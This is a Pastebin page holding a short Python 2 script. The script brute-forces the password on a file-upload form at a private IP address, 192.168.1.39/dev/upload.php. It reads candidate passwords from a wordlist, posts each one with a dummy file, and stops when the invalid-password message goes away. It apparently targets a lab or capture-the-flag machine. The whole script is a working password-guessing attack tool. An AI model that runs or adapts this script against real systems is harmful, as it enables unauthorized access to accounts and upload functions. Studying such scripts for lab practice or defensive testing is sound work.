Advertisement
CreadPag

port.py

Mar 22nd, 2017
174
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import requests
  2.  
  3. fd = open("/root/Desktop/creadpag.txt")
  4. i = 0
  5.  
  6. while True:
  7.   line = fd.readline()
  8.   if line == '':
  9.     break
  10.   word = line.strip()
  11.   if i == 1000:
  12.     print "Testing", word
  13.     i = 0
  14.   i = i + 1
  15.   r = requests.post("http://192.168.1.39/dev/upload.php",
  16.           data={'password':word},
  17.           files={'upload_file':('test','a')})
  18.   if "you have supplied an invalid password" in r.content:
  19.     continue
  20.   else:
  21.     print "Cas particulier avec", word
  22.     print r.content
  23.     break
  24.  
  25. fd.close()
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement